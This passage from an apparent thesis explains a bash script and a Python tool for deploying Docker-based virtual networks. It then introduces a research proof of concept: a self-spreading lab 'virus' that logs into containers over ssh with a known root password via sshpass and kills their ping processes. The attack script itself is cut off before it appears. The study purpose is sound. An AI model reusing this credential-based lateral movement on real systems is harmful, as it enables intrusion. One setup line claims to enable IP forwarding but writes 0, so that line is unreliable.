Listing 3.2 contains the shell script automating the deployment of the network showcased
on figure 3.1. The script itself contains messages that are to be printed to the user which
clarify its operation to a great extent.

3.2.1 Running the Script

As seen on line 1 of listing 3.2 this script is to be tun within a bash shell. This can be
accomplished in one of two ways as shown on 3.1. As we will later look into, the script
is to be run by root so that it can carry out the needed operations. This amounts to
prepending the command we choose to run the script by sudo.

1 # Making the script executable and running it.

2 chmod +x <script -name > && sudo ./<script -name >
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3

4 # Spawning a privileged shell and running the script in it.

5 sudo bash <script -name >

Listing 3.1: Running a bash Script.

3.2.2 Checking the Script is Run by root

The privileged user in UNIX -based systems is identified by a UID (User ID) of 0. When
a program is run, the associated process will have the UID of the user who launched it.
Some program’s permissions allow it to run with a different UID than that of the user
executing it: this is wha we call the EUID (Effective UID)). In any case, if the EUID of
a process evaluates to 0 it is being run by root. This is what is being checked by lines 3-7
on listing 3.2. If the user running the script is not root we will simply abort execution
whilst warning the user.

3.2.3 Automatically Tearing Down the Topology

As seen in lines 9-17, the script shown on listing 3.2 is prepared to dismantle the network
topology it brings up when invoked a second time. The trigger for this behaviour is pass-
ing a parameter when running the script. Any parameter will cause the removal of the
entire virtual network: this is not the best practice when writing code but it simplifies
handling the arguments passed to the script. We are concerned with clearly portraying
the technologies discussed in chapter 2, not with teaching the user how to write proper
shell scripts. In any case, running sudo bash <script-name> quit will dismantle the
sample virtual topology.

1 #!/bin/bash

2

3 if [ $EUID -ne 0 ]

4 then

5 echo "Run me as root ..."

6 exit

7 fi

8

9 if [ $# -eq 1 ]

10 then

11 echo "Tearing down the sample network ..."

12 echo -e "\t(If one didn ’t exist before this script will silently

fail)."

13 docker rm $(docker stop h-a-1 h-b-1 r-a-b 2>/dev/null) > /dev/null

2>&1

14 ip link del subnet -a-brd 2>/dev/null
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15 ip link del subnet -b-brd 2>/dev/null

16 exit

17 fi

18

19 echo "Setting up the topology seen on figure 3.1\n"

20 echo -e "\tDisabling bridge calls to iptables (section 2.7)"

21 echo 0 > /proc/sys/net/bridge/bridge -nf -call -iptables

22

23 echo -e "\tEnabling IP forwarding within the host\n"

24 echo 0 > /proc/sys/net/ipv4/ip_forward

25

26 echo -e "\tSetting up the bridges"

27 echo -e "\t\tSetting up subnet A’s bridge"

28 ip link add subnet -a-brd type bridge

29 ip link set subnet -a-brd up

30

31 echo -e "\t\tSetting up subnet B’s bridge\n"

32 ip link add subnet -b-brd type bridge

33 ip link set subnet -b-brd up

34

35 echo -e "\tSpawning the hosts"

36 echo -e "\t\tSpawning H-A-1"

37 docker run -d --name h-a-1 --network none --cap -add SYS_ADMIN

ubuntu_node > /dev/null

38

39 echo -e "\t\t\tLinking its network namespace to /var/run/netns"

40 ln -sf /proc/$(docker inspect -f {{. State.Pid}} h-a-1)/ns/net /var/run/

netns/h-a-1

41

42 echo -e "\t\t\tSetting the hostname"

43 docker exec h-a-1 hostname h-a-1

44

45 echo -e "\t\tSpawning H-B-1"

46 docker run -d --name h-b-1 --network none --cap -add SYS_ADMIN

ubuntu_node > /dev/null

47

48 echo -e "\t\t\tLinking its network namespace to /var/run/netns"

49 ln -sf /proc/$(docker inspect -f {{. State.Pid}} h-b-1)/ns/net /var/run/

netns/h-b-1

50

51 echo -e "\t\t\tSetting the hostname"

52 docker exec h-b-1 hostname h-b-1

53

54 echo -e "\t\tSpawning Router -A-B"

55 docker run -d --name r-a-b --network none --sysctl net.ipv4.ip_forward =1

--cap -add NET_ADMIN --cap -add SYS_ADMIN ubuntu_router > /dev/null

56

57 echo -e "\t\t\tLinking its network namespace to /var/run/netns\n"
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58 ln -sf /proc/$(docker inspect -f {{. State.Pid}} r-a-b)/ns/net /var/run/

netns/r-a-b

59

60 echo -e "\t\t\tSetting the hostname"

61 docker exec r-a-b hostname r-a-b

62

63 echo -e "\tSetting up necessary veths"

64 echo -e "\t\tSetting up veth H-A-1 <--> Subnet A Bridge"

65 ip link add veth -h-a-1 type veth peer name veth -brd -h-a-1

66 ip link set veth -h-a-1 netns h-a-1

67 ip link set veth -brd -h-a-1 master subnet -a-brd

68 ip -n h-a-1 link set veth -h-a-1 up

69 ip link set veth -brd -h-a-1 up

70

71 echo -e "\t\tSetting up veth Subnet A Bridge <--> Router -A-B"

72 ip link add veth -r-a-b-a type veth peer name brd -r-a-b-a

73 ip link set veth -r-a-b-a netns r-a-b

74 ip link set brd -r-a-b-a master subnet -a-brd

75 ip -n r-a-b link set veth -r-a-b-a up

76 ip link set brd -r-a-b-a up

77

78 echo -e "\t\tSetting up veth H-B-1 <--> Subnet B Bridge"

79 ip link add veth -h-b-1 type veth peer name veth -brd -h-b-1

80 ip link set veth -h-b-1 netns h-b-1

81 ip link set veth -brd -h-b-1 master subnet -b-brd

82 ip -n h-b-1 link set veth -h-b-1 up

83 ip link set veth -brd -h-b-1 up

84

85 echo -e "\t\tSetting up veth Subnet B Bridge <--> Router -A-B\n"

86 ip link add veth -r-a-b-b type veth peer name brd -r-a-b-b

87 ip link set veth -r-a-b-b netns r-a-b

88 ip link set brd -r-a-b-b master subnet -b-brd

89 ip -n r-a-b link set veth -r-a-b-b up

90 ip link set brd -r-a-b-b up

91

92 echo -e "\tAddressing the interfaces"

93 echo -e "\t\tAddressing H-A-1"

94 ip -n h-a-1 addr add 10.0.0.2/24 brd + dev veth -h-a-1

95

96 echo -e "\t\tAddressing Router -A-B’s interface on subnet A"

97 ip -n r-a-b addr add 10.0.0.1/24 brd + dev veth -r-a-b-a

98

99 echo -e "\t\tAddressing H-B-1"

100 ip -n h-b-1 addr add 10.0.1.2/24 brd + dev veth -h-b-1

101

102 echo -e "\t\tAddressing Router -A-B’s interface on subnet A\n"

103 ip -n r-a-b addr add 10.0.1.1/24 brd + dev veth -r-a-b-b

104

105 echo -e "\tAdding necessary routes to hosts"
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106 echo -e "\t\tAdding default route to H-A-1 through Router -A-B"

107 ip -n h-a-1 route add default via 10.0.0.1

108

109 echo -e "\t\tAdding default route to H-B-1 through Router -A-B\n"

110 ip -n h-b-1 route add default via 10.0.1.1

111

112 echo "Done setting up the network!"

113 exit

Listing 3.2: Automatic Deployment of the Sample Topology.

3.3 Testing the Topology Is Working

Once the script shown on listing 3.2 has been run we should have a full-fledged virtual
network at our disposal. The simplest way to check we do have full connectivity is check-
ing one of the hosts can “see the other”. we can accomplish our objective by running
a shell within one of the hosts and then trying to ping the other. We can extract the
appropriate IP addresses from figure 3.1. Listing 3.3 shows how we can open up a shell
within host HA1 and launch ping against host HB1 .

1 # Spawn a shell within H-A-1

2 docker exec -it h-a-1 bash

3

4 # Ping H-B-1 3 times from H-A-1

5 root@h -a-1:/$ ping -c 3 10.0.1.2

6

7 # It should produce an output similar to:

8 # PING 10.0.1.2 (10.0.1.2) 56(84) bytes of data.

9 # 64 bytes from 10.0.1.2: icmp_seq =1 ttl=63 time =0.036 ms

10 # 64 bytes from 10.0.1.2: icmp_seq =2 ttl=63 time =0.057 ms

11 # 64 bytes from 10.0.1.2: icmp_seq =3 ttl=63 time =0.062 ms

12 #

13 # --- 10.0.1.2 ping statistics ---

14 # 3 packets transmitted , 3 received , 0% packet loss ,\

15 # time 2049ms

16 # rtt min/avg/max/mdev = 0.036/0.051/0.062/0.011 ms

17

18 # We can also run traceroute

19 root@h -a-1:/$ traceroute 10.0.1.2

20

21 # It should produce an output similar to:

22 # traceroute to 10.0.1.2 (10.0.1.2) , 30 hops max , 60\

23 # byte packets

24 # 1 10.0.0.1 (10.0.0.1) 0.029 ms 0.039 ms 0.007 ms
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25 # 2 10.0.1.2 (10.0.1.2) 0.018 ms 0.023 ms 0.041 ms

Listing 3.3: Testing the Sample Topology.

Now that we have shown how to “manually” set up a simple network we begin to
discover the challenges that will surely arise as their complexity grows. What is more, we
also need to add additional functionalities such as moving end nodes around the network
in a way that does not mangle the network’s operation. The next chapter is devoted
to providing a high level overview of our tool’s design and operation together with a
comprehensive collection of the actions it can and cannot perform.



Chapter 4

Automating the Deployment of
Virtual Networks

One of my most productive days was
throwing away 1,000 lines of code.

Ken Thompson

4.1 High Level Overview

As seen in chapter 3, bringing a virtual network up entails an organizational overhead that
is not easily handled. That is why we have developed a complete software system capable
of handling these intricacies in an automatic fashion. Then, a user need only provide a
graph describing the desired topology and our project will be able to read, interpret and
instantiate said network.

Due to its simple yet rich syntax, we have decided to leverage the Python [4] program-
ming language to develop the entire system. We will be using version 3.x given python’s
2.7 release has been deprecated as of January 2021. One of the external dependencies we
will make use of is the NetworkX [31] network analysis module. This software bundle was
recommended by the research group we have collaborated with and it is distributed as a
python package. Thus, we felt even more inclined towards python. Given we will interact
with the docker engine through its CLI API, its use will not impose any restrictions on
our choice either. This implies that we have nothing more than reasons supporting the
use of python for our development.

47
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4.1.1 External Dependencies

One of the main objectives pursued throughout the development was reducing the num-
ber of external dependencies to the maximum extent. We did manage to only require the
presence of docker, iproute2 and python3 for an initial and fully functional version. Not
leveraging NetworkX implied we had to manually route all the nodes within the network,
which amounted to be a rather complex task. Due to the research group’s suggestions
we settled on taking advantage of NetworkX for both modeling the different topologies
and routing them. Then, we have designed two independent solutions that accomplish
the same task. One of them does not require NetworkX whist the other one does. The
reasoning behind including a dependency that is not strictly needed is that it greatly
simplifies our code and it will surely avoid some of the most common pitfalls our own
solution can incur into under complex circumstances.

The following enumeration briefly explains the use of each of the required dependen-
cies. Please bear in mind that the installation instructions for each of them are detailed
in the document’s appendix.

1. Python3 : With python3 being an interpreted language, we need to make use of
the interpreter that is going to execute our code.

2. Docker : The different nodes in our network are modeled as docker containers,
which implies we indeed depend on docker for making our system work.

3. iproute2 : We need the iproute2 suite of tools to manage the virtual networking
infrastructure “gluing” all our nodes together.

4. NetworkX : As explained above, we are not forced to use NetworkX and we have
developed a version that does not depend on it at all. Nonetheless, it does simplify
big portions of code and so we decided to include it in our final, sharper version.

5. Matplotlib: NetworkX is capable of graphically representing our topologies through
graphs. In order to “draw them”, NetworkX depends on the matplotlib module we
have also installed as a dependency. This module is however not mandatory: they
rest of the program will work as intended, it will just be unable to graphically repre-
sent the topology. In a later chapter we will devote our time to looking into a proof
of concept we have developed. Said experiment generates a series of time-tagged
events that our program is capable of representing as a regular graph. The lack of
the matplotlib module implies this graph will not be available either. All in all, it is
up to the user to decide whether they want this functionality or not: the program
itself will carry out is primary task either way.
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6. Docker Python SDK : We have not used the docker python SDK (Software
Development Kit) in our project. We have decide to leverage docker’s CLI interface
from our code through calls to os.system(). However, someone deciding to use our
project as a basis for something else might feel more comfortable interacting with
docker through a pure-python API (Application Programming Interface). Changing
our code to work in said fashion is a rather simple task should it have to be done.

4.1.2 User Manual

Throughout the development of our tool we have tried to simplify the use of the project
as much as possible. The end result is a user-side workflow that only requires them to
import a single project module to which they must provide a NetworkX graph. After
doing so, they will be presented with a simple CLI letting them modify the currently live
virtual network.

User Permissions Given the project will make use of iproute2 the program needs to
be run with administrative privileges (i.e. prepended by sudo). Even though this is the
easiest approach and everything will “just work” it does have some security implications
(mainly command injection) we will showcase in the appendix. Instead of choosing to run
the entire blob of code as root we can also grant certain capabilities to the user who is to
run the code, namely the NET ADMIN capability (the same we need to grant containers).
We should also mention that the user running the program must be able to interact with
the docker engine. This can be ensured by adding said user to the docker group within the
system, even though root will also be able to interact with and manage containers. This
paragraph is intended as a warning, please refer to the appendix for a deeper discussion.

Depending on how the users decide to provide the required graph they might need to
import additional modules. If they have stored a live graph (i.e. an instance of a graph)
as a pickle [32] they will then need to import the pickle module to un-pickle the graph,
for instance. In our examples we will define the graphs “on-the-fly”, which requires us
to import networkx itself. Listing 4.1 shows how one would define the topology found on
figure 3.1 as a networkx graph.

1 # Import the networkx module so that we can define a graph.

2 import networkx

3

4 # Instantiate the netowrkx.Graph class.

5 sample_net = networkx.Graph(net = ’Sample Topology ’)

6

7 # Add host H-A-1 and the bridge for subnet A.
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Node Type Description
node A regular host.

bridge A link-layer switch that represents an entire subnet.
router A net-layer router joining two or more subnets together.

Table 4.1: Node types.

8 sample_net.add_node(’h-a-1’, type = ’node’)

9 sample_net.add_node(’subnet -a-brd’, type = ’bridge ’, subnet = ’

10.0.0.0/24 ’)

10

11 # Add host H-B-1 and the bridge for subnet B.

12 sample_net.add_node(’h-b-1’, type = ’node’)

13 sample_net.add_node(’subnet -b-brd’, type = ’bridge ’, subnet = ’

10.0.1.0/24 ’)

14

15 # Add the R-A-B router with NO firewall rules.

16 sample_net.add_node(’r-a-b’, type = ’router ’, fw_rules = {})

17

18 # Connect H-A-1 to the bridge for subnet A.

19 sample_net.add_edge(’h-a-1’, ’subnet -a-brd’)

20

21 # Connect H-B-1 to the bridge for subnet B.

22 sample_net.add_edge(’h-b-1’, ’subnet -b-brd’)

23

24 # Connect router R-A-B to both bridges.

25 sample_net.add_edge(’subnet -a-brd’, ’r-a-b’)

26 sample_net.add_edge(’subnet -b-brd’, ’r-a-b’)

Listing 4.1: Defining the Sample Topology as a networkx Graph.

Creating Well-formed Graphs

Our tool expects the nodes on a networkx graph to adhere to certain constraints so that
it can assemble the requested topology. Given the bi-directional nature of network links
(data is sent in both directions), we have decided to model our networks as undirected
graphs. Then, these will always be composed by a set of nodes interconnected by a set
of edges. The types of nodes one can use are listed on table 4.1.

When adding a new node one must make sure that the following constraints are re-
spected. Otherwise, all sorts of undefined behavior can and will be experienced: anything
from a network that cannot be started to the presence of routing loops can happen. Given
the restrictions we are imposing, these will be bipartite graphs [33]. If we assume U and
V as the two sets in the bipartite graph, set V would contain bridges whilst set U would
contain both nodes and routers. This property has not been leveraged in our code, but
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it could prove to be useful if this work is developed further.

1. Rules regarding node definitions:

(a) Each node’s name MUST be a unique string.

(b) Each node MUST contain a type attribute whose value is a string.

(c) The value of the type attribute MUST be one of "node", "router" or
"bridge".

(d) Each bridge MUST contain a subnet attribute.

(e) Every value for a subnet attribute MUST be specified as a string with the
"A.B.C.D/E" format, where A, B, C, D ∈ [0, 255]; E ∈ [0, 30].

(f) The subnet ranges associated to each bridge through the subnet attribute
MUST be unique.

(g) Each router MUST contain a fw rules attribute.

(h) Each fw rules attribute MUST be set to a dictionary complying to the
specifications laid out in section 4.1.2.

2. Rules regarding edge definitions:

(a) The strings used to identify the nodes to be joined by an edge MUST refer
to previously defined nodes.

3. Rules regarding the topology:

(a) Each subnet MUST be composed by a single switch and an arbitrary number
of nodes and/or routers.

Running a Graph

Once we have defined a graph as we have done on listing 4.1 we just need to run it to turn
it into a virtual network. This can be accomplished though the launch net() function
we have defined on the net tools module. We will of course analyze these in a later section.

Listing 4.2 shows how a use can run an existing networkx graph like the one defined
on listing 4.1.

1 # Importing our module to launch the virtual network

2 from net_tools import net_ctrl

3

4 # This line will trigger the virtual network ’s creation.
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5 # The second parameter controls whether we enable

6 # the configured firewalls or not.

7 net_ctrl.launch_net(sample_net , fw_on = False)

Listing 4.2: Turning a Graph Into a Virtual Network.

Configuring Firewalls

When configuring router R-A-B on listing 4.1 we passed an empty dictionary {} to the
fw rules parameter, thus effectively disabling the firewall of said router.

In order to define appropriate rules, the user needs to provide a dictionary adhering
to the syntax specification shown on listing 4.3. Note that the order in which these rules
are specified is the order in which they will be instantiated. This will not affect our
topologies, but it can have an impact on the logical connections supported on the virtual
network infrastructures.

1 # Note ’|’ is to be read as ’OR’

2 fw_rules = {

3 ’POLICY ’: ’DROP’ | ’ACCEPT ’,

4 ’ACCEPT ’: [( RULE_1), (RULE_2), ..., (RULE_N)],

5 ’DROP’: [( RULE_A), (RULE_B), ..., (RULE_Z)]

6 }

7

8 # Each rule has a syntax of the form

9 (’origin_node ’, ’destination_node ’, True | False)

Listing 4.3: Syntax for Specifying Firewall Rules.

Rule Syntax The first 2 elements are strings containing the names of the origin and
destination nodes, respectively. The third parameter acts as a flag controlling whether
the rule is uni or bi-directional. If set to False, we will only instantiate a rule affecting
traffic going from the origin to the destination. If it is True however we will also in-
stantiate a symmetric rule allowing for two-way communication. Even though the flag is
not explicitly needed it does reduce the configuration specification tremendously, as the
topologies we worked with always made use of symmetric rules. Listing 4.4 shows how
one can accomplish the same configuration with two rules instead of one if not using said
flag.

1 # Enable two -way communication x <--> y.

2 (’x’, ’y’, True)

3

4 # This accomplishes the same result with two triplets.
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5 (’x’, ’y’, False)

6 (’y’, ’x’, False)

Listing 4.4: Uni-directional vs. Symmetric Firewall Rules.

Dictionary Syntax The dictionary contains 3 key-value pairs. The first one defines
the policy for the FORWARDING chain as a string. The second one contains a list of
rules for ACCEPT ing packets. If the default policy is set to ACCEPT these rules will
be meaningless... The third one contains a list of rules for DROPping packets. If the
default policy is to DROP them these rules will have no effect either.

Execution Modes

Chapter 5 is devoted to analyzing the proof of concept we have developed. Said proof
of concept will produce a series of CSV files containing data that characterizes how the
experiment progressed. These files can also be analyzed by our program to provide a
nicely formatted output so that the end user can make the most of the results.

Instantiating a full-fledged virtual network when the user only wants to load some
CSV files to graph or analyze them can prove to be a rather time and energy consuming
process. That is why we have developed the so called report mode on top of the normal
or network mode.

The former will cause the program to parse a graph defining a network topology and
then instantiate it. This mode can of course carry out the same analysis on files as the
report mode. The report mode on the other hand will just present the user with the
CLI where he or she will be able to invoke a subset of all the commands. These are:
ld-atk-data, atk-graph, c | clear, quit | exit | x and CTRL + C.

The advantage report mode has over the normal mode is that it need not be concerned
with instantiating a virtual network. This makes its startup time almost negligible.

In order to enable report mode, one can either specify the report mode = True pa-
rameter on the call to launch net() as seen on listing 4.2 or just run the net ctrl.py

file directly with python3 net ctrl.py. The latter approach will trigger an if name ==

" main : clause, thus causing the report mode parameter to be set to True. Please note
the different files and their purposes will be explained in a later section.
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Available Commands

As stated before, our tool will allow the users to modify the virtual network once it is up
and running through a CLI interface. The following enumeration contains a list of the
available commands together with a short description of what they can achieve.

1. mvsubn <affected subnet> <destination subnet>: This command will move the
<affected subnet> and attach it to the <destination subnet>. These identifiers
should be the ones provided by the lssubn. If either subnet does not exist, the
command will fail with an error message.

2. mvnode <affected node> <destination subnet>: This command will move the
<affected node> to the <destination subnet>. These identifiers should be the
ones provided by lsnode and lssubn, respectively. If either element does not exist,
the command will print an error message.

3. lssubn: This command will print a list of all the currently active subnets. These
identifiers are the ones to be provided to the mvsubn and mvnode commands.

4. lsnode: This command will print a list of all the currently active nodes. These
identifiers are the ones to be provided to the mvnode command.

5. lsnet: This command will graphically represent the current network topology.
Please note this call is blocking, so the user will not be able to issue any other
command until he or she closes the image. This command will require the installa-
tion of the matplotlib dependency. It is also worth mentioning that the generated
image can be stored as a PNG file for later inspection.

6. lscnx: This command will show a “higher level graph” capturing the logical con-
nections set up through firewall rules within the routers belonging to the network.
If firewalls have not been enabled, the command will just print an informative mes-
sage on screen as the resulting graph would be the same as the one shown by the
lsnet command, given no logical connections are hampered by firewall rules. Even
though one can generate this graph, the user should regard it as more of a “debug-
ging” feature. We are internally the data structure from which the graph is derived
as means of making dynamic firewall reconfiguration easier.

7. dump-atk-data [path]: Running the attack on the scenario generates output
through files within the network nodes. This command is in charge of reaping all this
data an dumping it both to a file and to a dictionary. Please note that, as the main
program is ran as root, the generated files will belong to said user. One can man-
ually change permissions with chown later on. These files contain a list of comma
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separated values (that is, these are CSV files) that are human readable. Nonethe-
less, the primary intention of this files is to allow the user to later inspect them and
generate graphs through the program itself. In order to do so, we have prepared
the so called report-mode. As seen in the command description, one can optionally
provide a path to save the file to under ../proof of concept/generated data/.
This will usually be just a filename. If this path is not provided, the default name
last data.csv will be used. Please note that results will overwrite themselves
unless the user changes the output file’s name.

8. ld-atk-data [path]: This command will load the attack data from the default
../proof of concept/generated data/last data.csv file or the one specified
through the optional path parameter. Please note that ../proof of concept/gene

rated data will be prepended to whatever argument is provided. This command
will fail if the provided path leads to a non existent file.

9. atk-report: This command will read the dictionary containing the attack’s re-
sults and print a nicely formatted table to STDOUT showing the times the ping
processes went either up or down. In order for it to work, the user must either dump
the data previously through dump-atk-data or load it from a file with ld-atk-data.
If these steps have not been fulfilled, a nice reminder will be printed to the screen.

10. atk-graph: This command will show a graph displaying the evolution of the number
of ping processes in the network against time. As before, the data must either be
dumped or loaded beforehand.

11. check-atk: This command was written to aid in the debugging of the attack script.
It will display the number of times the attack has run on each network node. An
attack that is behaving as expected will run only once within each node.

12. launch-pings: This command will launch a daemonized ping process in each node.
Daemonizing the pings allows them to keep on running after the script moves to a
new network node (i.e. it allows ping to run without a controlling TTY ).

13. reset-net: The attack we have written relies on several output files it generates to
keep track of its current state. Thus, running the attack twice may result in some
unexpected behaviour. This command will get rid of said files so as to effectively
restore the network nodes to their original state.

14. clear | c: This command will clear the screen to allow for a more comfortable
user experience. If running on a compliant shell, the CTRL + L combination will
have the same effect. Note this command can be invoked either via clear or just c
as seen in the syntax specification.
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15. quit | exit | x: This command will dismantle the network and exit the program.
Note exit and x are aliases for quit.

16. CTRL + C: This key combination will send the SIGINT signal to the process which
will be handled, causing the program’s termination.

4.2 Overview of the Project’s Modules

One of the principles driving software development is modularity. We have then tried to
make our code components as independent as possible whilst allowing them to cooperate
so that they can be used for other purposes besides the ones that we originally intended.

The development effort culminated on 3 different modules fulfilling each a set of tasks:

1. virt net : This module is concerned with the instantiation of the different network
elements (veths, bridges and nodes) together with their addressing and configuration.
The module contains classes representing everything from the entire network to a
single veth.

2. graph interpreter : This module acts as an intermediary translating the graphs
provided by users to instances of the different classes defined in the virt net module.
It will also implement the high-level functionality provided by user commands such
as mvsubn and mvnode. On top of that, it will leverage networkx’s functionality to
route the entire network and instantiate said routes in the routers once they have
been brought up.

3. net ctrl : This module implements the CLI users running the tool will be pre-
sented with. It will resolve issued commands to calls to functions defined in the
graph interpreter module. This module serves as the user’s entry point to the func-
tionality offered by our tool.

The design we have just specified allows other users to “swap” the modules they do
not desire to use for their own or third-party ones. One can, for instance, decide not to
use our graph interpreter and manually instantiate a network through calls to the virt net
module alone and that would be completely feasible. We will now include the documen-
tation for each of the modules down to the function-level.

Given the extension of the module’s description we have decided to include them on
appendix ??. The following sections provide some general conventions, background and
the reasoning behind some of our decisions during the development.
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4.2.1 Conventions

Data Type Specifications

The C programming language is by no means user friendly. Nonetheless, there is one
aspect we really missed when developing in python: data type specification. In an effort
to make the understanding of our code easier we have decided to specified each attribute’s
and variable’s data types in the documentation composing this section. The syntax we
will use to describe the used types is:

• Strings: string.

• Lists: list/value type.

• Dictionaries: dictionary/key type/value type.

• Boolean: boolean.

• Instance of class Foo: Foo inst.

Defining Private Methods

One of the main advantages of the object-oriented programming is that it provides “access
control” to methods and attributes of a class. In C++, this is accomplished by classifying
them as private or public, for instance. On the other hand python does not enforce this
behaviour: a user will be able to call any method or access any attribute of an instance.

In order to “circumvent” this issue, the convention has it that method and attribute
names prepended by an underscore ( ) are to be treated as private. If a user decides to
explicitly call or access these methods and attributes he or she is then exposed to unde-
fined behaviours.

Calling Methods Through the Module Name

We have chosen to always call functions and instantiate classes external to the current file
through their full name (i.e. including the name of the external file in the call). This does
increase the length of code lines but it allows the reader (and ourselves) to know where
the functions and classes are effectively defined. We feel like the increase in line length is
completely justified.
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The init .py File

Each of our modules contains an empty init .py file so that they become regular
packages. This allows us to comfortably import the modules where their contents are
needed. More information on python’s import system can be found on section 5.2.1 of
[34].

Constructors and Destructors

When a class is instanced and it becomes an object one special method will be automati-
cally invoked for us: the constructor. In python this method is always named init ()

and it cannot return anything.

The counterpart of the constructor is the destructor. Python is garbage collected in the
sense that, once there are no more references to an object, it will schedule it for deletion.
When an object is being deleted its destructor will be automatically called as well. This
destructor is always defined as del () in python and it accepts a single argument: a
reference to the instance that is being deleted (i.e. self). Just like the constructor, it
cannot return anything.

These methods will be defined for each of our classes and, given the init () and
del () names can come across as rather cryptic we have decided to denote them as

constructor and destructor, respectively, in the following sections.

4.2.2 The virt net Module

This module encapsulates every kind of virtual network devices in their own class. Thus,
one can theoretically instantiate a full-fledged virtual network through the sole use of
this module. Given this module does not offer any routing logic, the end user would be
responsible for providing it. In our case, it is implemented as part of the graph interpreter
module. This module serves as the “backbone” supporting the latter two and it is mostly
concerned with interacting with docker and iproute2. Thus, the code itself is not logically
complex but it does require knowledge of the aforementioned technologies to understand.
These contents have already been covered in chapter 2.

Please refer to section C.1 for a comprehensive description of the module.
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4.2.3 The graph interpreter Module

This module is concerned with interpreting a graph and translating its structure to calls
to methods defined in the previous module. In order to accomplish this, we have had to
implement the “thickest” methods which are in charge of routing the network, dealing
with the movement of nodes and subnets and parsing the initial graph. As we stated
before, the use of this module is not mandatory: one can perform “raw calls” to the
virt net module and manually handle the routing within the generated network. This
would also imply features like moving nodes once the network is operational would be
lost. Even though this module’s purpose is not complex, the implementation of several
features proved to be rather challenging.

Leveraging NetworkX We strongly believe it is better to stress one’s work flaws than
its strong aspects. In an effort to ease the development process whilst enhancing the
outcome’s resiliency we settled on leveraging the NetworkX module.As we have previ-
ously hinted, NetworkX’s main purpose is handling graphs. By modeling our networks as
undirected graphs we can leverage already implemented functionalities such as checking
whether the graph is completely connected (i.e. there are no dangling nodes) or even
routing algorithms. Given we have a complete view of the network we decided to ap-
ply Dijkstra’s Algorithm (section 24.3 of [35]). NetworkX offers several methods through
which we can obtain the shortest path between any two nodes. Combining this informa-
tion with the complete list of network nodes allows us to completely route the network
in an elegant way. We would like to point out once again how we manually implemented
our solution to this issue through our own routing algorithm. Nevertheless, we discarded
it in favour of Dijkstra’s Algorithm when we settled on relying on NetworkX.

Please refer to section C.2 for a comprehensive description of the module.

4.2.4 The net ctrl Module

This module is composed by a single file whose main goal is offering a CLI to a user
so that he/she can interact with a network that is currently operational. The function
defined by this module is the “entry point” to the rest of the modules, as it is the one
that should be called and passed the graph a user generates that represents the desired
topology.

Please refer to section C.3 for a comprehensive description of the module.
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4.3 Working Topologies

Developing a project such as this one can at times seem daunting during the initial steps.
One finds him or herself writing a lot of code without being certain of whether it is correct
or not. That is why we decided to test our work as soon as possible to verify everything
was marching as intended. In order to do so we designed some simple topologies, each
being more complex than the previous one. We tried to instantiate them and manually
check that the connectivity between all the nodes was the desired one.

This section includes these test topologies together with the most complex one we
have been capable of working with.

4.3.1 Topology Alpha

This was the first topology we tested. The most valuable piece of information we ex-
tracted from it was that we were able to communicate with nodes belonging to Subnet
C from Subnet B. This proved that routing packets through a subnet was behaving as
intended. This topology is included on figure 4.1.

4.3.2 Topology Beta

This second topology added another subnet to the previous to push our routing proce-
dures a little further. It is shown on figure 4.2.

4.3.3 Topology Gamma

This third topology, shown on figure 4.3, added yet another subnet to the previous one.
After successfully instantiating this topology we felt confident our design was capable of
handling significantly more complex topologies.

4.3.4 Topology ICS

This fourth topology, portrayed on figure 4.4, is modeled after figure 4 of [36]. It is the
most complex one we have worked with and the chosen scenario for the proof of concept.
We would like to note how, unless otherwise specified all the firewalls drop packets
(i.e. only hosts listed on the FW Conf sections on figure 4.4 can communicate).
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Figure 4.1: The Alpha Topology.
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Figure 4.2: The Beta Topology.
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Figure 4.3: The Gamma Topology.
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Figure 4.4: The ICS (Industrial Control System) Topology.



Chapter 5

Proof of Concept

Simplicity is a great virtue but it
requires hard work to achieve it and
education to appreciate it. And to
make matters worse: complexity sells
better.

Edsger Dijkstra

5.1 Description

The main goal of this project is serving as a benchmark tool for research purposes. In
order to demonstrate this is a feasible use of our work we have prepared a proof of concept
in which we simulate an attack and monitor the network’s state.

The initial scenario is composed by a set of nodes running a ping process against
themselves (i.e. against IP 127.0.0.1 ). We then define the Quality of Service (QoS)
of the network through the function shown on equation 5.1. Function pings(t) repre-
sents the number of currently active ping processes in the network. Thus pings(0) =
Maximum Number of P ing Processes; in other words, our initial scenario is offering
the best possible QoS (i.e. QoS(0) = 1).

The attack we have written manifests itself as a “virus” that will replicate throughout
the network. Whenever it reaches a machine, it will kill its associated ping process and
then jump to another one. This implies that, as the attack progresses, we will experience
how pings(t) decreases as t increases. This amounts to QoS(t) diminishing with time as
well. By scrutinising the plots of QoS(t) we will try to judge how much of an impact
altering the network’s topology has on the attacks progression.

65
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QoS(t) =
pings(t)

pings(0)
; Qos(t) ∈ [0, 1] ∀ t ∈ [0,∞)

Equation 5.1: Definition of the Network’s QoS

The Exploit

Like many attacks, our own leverages a vulnerability in the network elements’ configu-
ration. The reader might recall the Dockerfile we presented on listing 2.10 in which we
set 1234 as root’s password. Our “virus” assumes the password is already known, which
implies it is capable of accessing every machine of the network. Note that, even though
we have not included it explicitly, the Dockerfile defining the images run by nodes also
configure 1234 as root’s password.

It is true that this assumption can be considered as giving an unfair advantage to a
potential attacker. However, we are interested in mitigating an attack once it occurs, not
in preventing it. Thus, answering how an attacker gains a foothold in the network is not
as interesting to us: we want to discover how we can minimize the attack’s impact.

Attack Dependencies

The attack itself requires the ssh daemon and associated tools such as scp as well as on
standard utilities like ping. However, these are also required for the container’s correct
operation, so we are not considering them strict attack dependencies. On the other hand,
we depend on the sshpass binary to carry out the attack in an automatic fashion.

Programs such as ssh will only read input such as passwords from their controlling ter-
minal (i.e. the file descriptor returned by open("/dev/tty")) rather than from STDIN
itself. This renders shell redirections such as echo "1234" | ssh 10.0.1.3 unusable.
This “limitation” can be circumvented by programs such as sshpass. This binary will
fork() a process and run sshpass within it. However, before doing so it will consider the
parent process (i.e. sshpass itself) as the child’s controlling terminal. This allows sshpass
to “feed” the password to ssh in a totally automated way.

We quoted the term “limitation” because the design of the ssh tool and its associated
utilities is not design to be frustrating. When passing passwords on the command line,
these can be “seen” on the output of programs such as ps, which exposes credentials that
should always remain private. Thus, when we invoke sshpass we are letting other users
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logged into the system know our 1234 password. Nonetheless, this is an attack: we are not
concerned with security. That is why we believe the use of tools such as sshpass is justified.

The sshpass binary was compiled on our own host from its sources [37] in a static
fashion. This produces a larger output, but the resulting executable does not depend on
any shared libraries. Given how slim container images are, we preferred to make sure no
errors provoked by missing libraries could take place.

The Attack Script

Listing 5.1 contains the bash script implementing the attack on the network. Given bash
